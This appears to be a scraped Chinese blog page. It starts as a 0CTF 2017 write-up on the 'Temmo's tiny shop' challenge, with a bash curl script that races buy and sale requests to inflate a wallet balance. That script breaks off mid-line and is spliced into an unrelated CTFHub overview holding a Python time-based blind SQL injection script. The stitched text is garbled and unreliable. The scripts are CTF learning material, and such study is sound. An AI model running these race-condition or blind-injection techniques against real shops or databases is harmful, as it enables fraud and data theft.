Writeup for 0CTF2017 web

本文详细介绍了2017年0CTF中Temmo’s tinyshop挑战的解题过程,包括利用race condition漏洞增加用户余额、通过SQL注入获取flag等关键步骤。


2017年0CTF,WEB部分题目的Writeup。


Temmo’s tiny shop

本题首先要获取!HINT!,但是初始钱包里只有4000,而HINT要价8000,此处使用条件竞争(race condition)这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号,使用两个COOKIE来同时进行售卖的动作,则会进行两次售卖动作。bash代码如下

#!/bin/bash
cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910"
cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0"

url="http://202.120.7.197/app.php"

curl "$url?action=buy&id=2" -b $cookie1
curl "$url?action=sale&id=2" -b $cookie1 &
curl "$url?action=sale&
### CTFHub 简介 CTFHub 是一个面向网络安全爱好者和竞赛选手的在线平台,致力于提供 CTF(Capture The Flag)相关学习资源、靶场训练、赛事信息汇总以及技术交流服务[^1]。该平台整合了多种安全方向的知识,包括但不限于 Web 安全、逆向工程、Pwn、密码学、Misc(杂项)等,适合不同层次的安全研究人员进行技能提升。 ### 主要功能模块 - **靶场训练**:提供大量按难度分级的实战题目,涵盖 SQL 注入、文件上传、命令执行、反序列化、SSRF 等常见漏洞类型。 - **赛事聚合**:实时更新国内外各大 CTF 比赛的时间安排、报名方式与赛制说明,帮助用户规划参赛计划。 - **Writeup 分享**:社区成员可提交解题报告,便于赛后复盘与知识沉淀。 - **工具集推荐**:集成常用安全工具链接与使用指南,如 `Burp Suite`、`Ghidra`、`pwntools` 等。 ### 典型 Web 靶场示例(Python 脚本辅助) 在解决 CTFHub 提供的某些 Web 题目时,常需编写脚本自动化交互过程。例如,针对基于时间盲注的 SQLi 题目,可使用如下 Python 脚本探测数据库名: ```python import requests import time url = "http://challenge.ctfhub.com:8080/web/sqlinject/time/index.php" flag = "" for pos in range(1, 10): for c in range(32, 127): payload = f"' or if(ascii(substr(database(),{pos},1))={c},sleep(2),0) --+" data = {"param": payload} start_time = time.time() try: requests.post(url, data=data, timeout=10) except requests.exceptions.Timeout: continue end_time = time.time() if end_time - start_time >= 2: flag += chr(c) print(f"Found char: {chr(c)}, current flag: {flag}") break ``` 此脚本通过构造带有 `sleep()` 延迟的布尔条件判断,利用响应时间差异推断出当前数据库名称[^1]。 ### 社区与学习价值 CTFHub 不仅提供技术挑战环境,还促进了初学者与资深选手之间的知识传递。其结构化的训练路径有助于系统性掌握渗透测试与漏洞挖掘的核心技能,广泛被高校信息安全社团和企业红队培训所采用[^1]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值